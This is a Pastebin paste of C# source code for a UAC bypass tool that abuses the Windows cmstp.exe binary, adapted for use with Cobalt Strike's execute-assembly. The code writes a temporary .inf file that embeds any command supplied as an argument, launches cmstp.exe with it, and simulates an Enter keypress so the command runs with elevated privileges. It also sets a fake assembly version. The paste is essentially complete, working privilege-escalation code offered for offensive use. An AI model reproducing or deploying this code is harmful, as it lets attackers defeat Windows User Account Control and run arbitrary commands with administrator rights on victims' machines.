Advertisement
Guest User

Untitled

a guest
Dec 12th, 2019
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.00 KB | None | 0 0
  1. /*
  2. UAC Bypass using CMSTP.exe microsoft binary
  3.  
  4. Based on previous work from Oddvar Moe
  5. https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
  6.  
  7. And this PowerShell script of Tyler Applebaum
  8. https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
  9.  
  10. Code author: Andre Marques (@_zc00l)
  11. Modified by Nicolas Heiniger to include a main and use with Cobalt Strike execute-assembly.
  12. */
  13. using System;
  14. using System.Reflection;
  15. using System.Text;
  16. using System.IO;
  17. using System.Diagnostics;
  18. using System.ComponentModel;
  19. using System.Windows;
  20. using System.Runtime.InteropServices;
  21.  
  22. // This is fake but will show in the properties :)
  23. [assembly:AssemblyVersionAttribute("1.6.9")]
  24.  
  25. public class zc00l_bp
  26. {
  27. // Our .INF file data!
  28. public static string InfData = @"[version]
  29. Signature=$chicago$
  30. AdvancedINF=2.5
  31.  
  32. [DefaultInstall]
  33. CustomDestination=CustInstDestSectionAllUsers
  34. RunPreSetupCommands=RunPreSetupCommandsSection
  35.  
  36. [RunPreSetupCommandsSection]
  37. ; Commands Here will be run Before Setup Begins to install
  38. TO_BE_REPLACED
  39. taskkill /IM cmstp.exe /F
  40.  
  41. [CustInstDestSectionAllUsers]
  42. 49000,49001=AllUSer_LDIDSection, 7
  43.  
  44. [AllUSer_LDIDSection]
  45. ""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
  46.  
  47. [Strings]
  48. ServiceName=""CapsSVC""
  49. ShortSvcName=""CapsSVC""
  50.  
  51. ";
  52.  
  53. [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  54. [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
  55.  
  56. public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
  57.  
  58. /* Generates a random named .inf file with command to be executed with UAC privileges */
  59. public static string CreateFile(string CommandToExecute)
  60. {
  61. string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
  62. string TemporaryDir = "C:\\windows\\temp";
  63. StringBuilder OutputFile = new StringBuilder();
  64. OutputFile.Append(TemporaryDir);
  65. OutputFile.Append("\\");
  66. OutputFile.Append(RandomFileName);
  67. OutputFile.Append(".inf");
  68. StringBuilder newInfData = new StringBuilder(InfData);
  69. newInfData.Replace("TO_BE_REPLACED", CommandToExecute);
  70. File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
  71. return OutputFile.ToString();
  72. }
  73.  
  74. public static bool JustDoIt(string CommandToExecute)
  75. {
  76. if(!File.Exists(BinaryPath))
  77. {
  78. Console.WriteLine("Binary not found!");
  79. return false;
  80. }
  81. StringBuilder InfFile = new StringBuilder();
  82. InfFile.Append(CreateFile(CommandToExecute));
  83.  
  84. Console.WriteLine("Inf written to " + InfFile.ToString());
  85. ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
  86. startInfo.Arguments = "/au " + InfFile.ToString();
  87. startInfo.UseShellExecute = false;
  88. Process.Start(startInfo);
  89.  
  90. IntPtr windowHandle = new IntPtr();
  91. windowHandle = IntPtr.Zero;
  92. do {
  93. windowHandle = SetWindowActive("cmstp");
  94. } while (windowHandle == IntPtr.Zero);
  95.  
  96. System.Windows.Forms.SendKeys.SendWait("{ENTER}");
  97. return true;
  98. }
  99.  
  100. public static IntPtr SetWindowActive(string ProcessName)
  101. {
  102. Process[] target = Process.GetProcessesByName(ProcessName);
  103. if(target.Length == 0) return IntPtr.Zero;
  104. target[0].Refresh();
  105. IntPtr WindowHandle = new IntPtr();
  106. WindowHandle = target[0].MainWindowHandle;
  107. if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
  108. SetForegroundWindow(WindowHandle);
  109. ShowWindow(WindowHandle, 5);
  110. return WindowHandle;
  111. }
  112.  
  113. static void Main(string[] args)
  114. {
  115. if (args.Length != 0)
  116. {
  117. JustDoIt(args[0]);
  118. }
  119. else
  120. {
  121. Console.WriteLine("Please provide a command to run.");
  122. }
  123. }
  124. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement